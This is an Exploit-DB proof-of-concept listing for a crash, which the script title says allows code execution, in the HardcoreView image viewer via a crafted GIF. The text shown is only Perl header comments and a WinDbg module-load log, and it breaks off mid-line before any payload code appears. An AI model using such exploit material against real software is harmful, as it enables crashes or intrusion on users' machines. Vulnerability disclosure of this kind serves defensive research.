Exploit-DB #21785
Description: HCView - WriteAV Crash (PoC)
Type: dos
Platform: windows
Date: 2012-10-07
Author: Jean Pascal Pereira

Exploit:
#!/usr/bin/perl
 
# Hardcoreview WriteAV Arbitrary Code Execution
 
# Author: Jean Pascal Pereira <pereira@secbiz.de>
 
# Vendor URI: http://sourceforge.net/projects/hardcoreview/
 
# Vendor Description:
# Image browser. Designed and created for profesional and amature watching image files.
# All kind of image files ;) . Support *.jpg, *.gif, *.bmp, *.psd, and many more.
 
# Debug info:
# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
# Copyright (c) Microsoft Corporation. All rights reserved.
#
# CommandLine: "C:\Program Files\hardcoreview\hardcoreview.exe" C:\research\hcview\crafted.gif
# Symbol search path is: *** Invalid ***
# ****************************************************************************
# * Symbol loading may be unreliable without a symbol search path.           *
# * Use .symfix to have the debugger choose a symbol path.                   *
# * After setting your symbol path, use .reload to refresh symbol locations. *
# ****************************************************************************
# Executable search path is: 
# ModLoad: [PII_REDACTED]   hardcoreview.exe
# ModLoad: 7c900000 7c9b2000   ntdll.dll
# ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
# ModLoad: 5ed00000 5edcc000   C:\WINDOWS\system32\OPENGL32.dll
# ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
# ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dll
# ModLoad: 77e70000 77f03000   C:\WINDOWS\system32\RPCRT4.dll
# ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
# ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
# ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
# ModLoad: 68b20000 68b40000   C:\WINDOWS\system32\GLU32.dll
# ModLoad: 73760000 737ab000   C:\WINDOWS\system32\DDRAW.dll
# ModLoad: 73bc0000 73bc6000   C:\WINDOWS\system32\DCIMAN32.dll
# ModLoad: 10000000 102be000   C:\Program Files\hardcoreview\DevIL.dll
# ModLoad: 7c420000 7c4a7000   C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700\MSVCP80.dll
# ModLoad: 78130000 781cb000   C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700\MSVCR80.dll
# ModLoad: [PII_REDACTED]   C:\Program Files\hardcoreview\ILU.dll
# ModLoad: 00[PII_REDACTED]f000   C:\Program Files\hardcoreview\ILUT.dll
# ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dll
# ModLoad: 5d090000 5d12a000   C:\WINDOWS\system32\COMCTL32.dll
# ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dll
# ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
# ModLoad: 003a0000 003b5000   C:\Program Files\hardcoreview\pthreadVC2.dll
# ModLoad: 71ad0000 71ad9000   C:\WINDOWS\system32\WSOCK32.dll
# ModLoad: 71ab0000 71ac7000   C:\WINDOWS\system32\WS2_32.dll
# ModLoad: 71aa0000 71aa8000   C:\WINDOWS\system32\WS2HELP.dll
# ModLoad: 78[PII_REDACTED]e000   C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6f74963e\MSVCP90.dll
# ModLoad: 78520000 785c3000   C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6f74963e\MSVCR90.dll
# (e4c.8c8): Break instruction exception - code 80000003 (first chance)
# ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.DLL
# ModLoad: 773d0000 774d3000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll
# ModLoad: 5ad70000 5ada8000   C:\WINDOWS\system32\uxtheme.dll
# ModLoad: 74[PII_REDACTED]c000   C:\WINDOWS\system32\MSCTF.dll
# ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\version.dll
# ModLoad: 755c0000 755ee000   C:\WINDOWS\system32\msctfime.ime
# ModLoad: 774e0000 7761e000   C:\WINDOWS\system32\ole32.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 61dd0000 61dd6000   C:\WINDOWS\system32\MCD32.DLL
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBoxOGL.dll
# ModLoad: [PII_REDACTED]   C:\WINDOWS\system32\VBoxOGLcrutil.dll
# ModLoad: 0[PII_REDACTED]d000   C:\WINDOWS\system32\VBox